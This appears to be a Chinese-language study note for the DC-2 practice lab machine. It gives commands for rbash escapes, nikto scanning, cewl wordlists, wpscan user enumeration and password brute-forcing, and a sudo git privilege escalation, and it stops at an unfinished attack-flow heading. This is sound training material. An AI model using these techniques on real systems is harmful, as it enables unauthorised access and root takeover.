dc系列——dc2

总结：

官网提示需要在靶机的host文件中添加靶机映射

1	vim /etc/hosts

其中etc目录中包含了几乎所有系统服务和程序的配置文件，hosts是本地域名解析文件，当浏览器拿到一个域名，会优先去本地查找域名解析，观察其对应ip

vim编辑器添加映射

补充：（cat /etc/passwd可查看用户列表）

*rbash与/bin/bash

前者相当于试用版shell，受限更多，像一个小笼子，要想办法逃逸到/bin/bash，之后再进一步提权

学习一些常用的逃逸手段：

1：看”/“有没有被允许使用，允许直接用/bin/bash(注：本节尝试失败，限制图如下)

2.BASH_CMDS环境变量逃逸（本节可用）

ps：关联数组就是用文字命名的数组

BASH_CMDS[a]='/bin/sh;a'
⬇
#BASH_CMDS 是 Bash 的一个关联数组，用于存储命令别名
#[a]='/bin/sh——创建一个叫a的命令，'/bin/sh;a' 是这个别名对应的值
#/bin/sh意思是启动一个shell
#;命令分隔符
#a再次执行a命令，，形成一个循环（此时以及在新的shell里面了）
⬇
#修复环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
#把一些位于 /bin/ 和 /usr/bin/ 目录的命令路径（如 ls, cat, whoami）添加到 PATH 中，系统才能找到这些命令

3：vi/vim编辑器逃逸（本节可用）

vi/vim 通常被允许在 rbash 环境中使用

vi/vim
#启动编译器
⬇
:set shell=/bin/sh
#:set：vi/vim 的设置命令
#shell=/bin/sh：告诉 vi/vim 当执行外部命令时，使用 /bin/sh 作为 shell，改变了 vi/vim 的默认 shell 解释器
⬇
:shell

#启动shell（/bin/sh）,这个新 shell 不继承 rbash 的限制
⬇
#修复环境变量，同前一种方法
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

CMS是一个可以通过浏览器进行管理的、功能完整的网站应用程序，就是一个建站系统，常用的有我们在dc1里遇见的drupal,还有wordpress，joomla

就是一个能帮助我们轻松建立网站的程序

我们之所以要识别这个CMS，是为了搞清楚在80端口上的那个网页是基于什么程序建立的，从而找到漏洞从这里去突破

nikto进行登录界面的url路径猜测(-h:目标主机)

1	nikto -h XX.XX.XX.XX

cewl爬取这个网站生成自己的字典

1	cewl http://XX.XX.XX.XX -w pass.txt

wpscan扫用户，匹配密码

1 2	wpscan --url http://dc-2 -U admin -P pass.txt wpscan --url http://dc-2 -e u

命令补充

# less查看文件
less /etc/passwd
# 在less中的操作：
# - 空格键：向下翻页
# - b键：向上翻页  
# - /关键词：搜索
# - q键：退出 

#ls略;

#scp——文件传输
# 从本地复制到远程
scp file.txt user@remote:/path/

#vi文本编辑器
# 在vi中的基本操作：
# - i键：进入插入模式
# - Esc键：退出插入模式  
# - :wq：保存并退出
# - :q!：不保存退出

git提权

sudo git -p help config
#git 以 root 权限 启动，调用分页器 less 来显示帮助文本
#因为 git 是 root，所以 less 也以 root 权限 运行
⬇
!/bin/bash
#! = 在分页器中执行外部命令的特殊前缀
#/bin/bash = 要启动的 shell

** 攻击流程： **

扫ip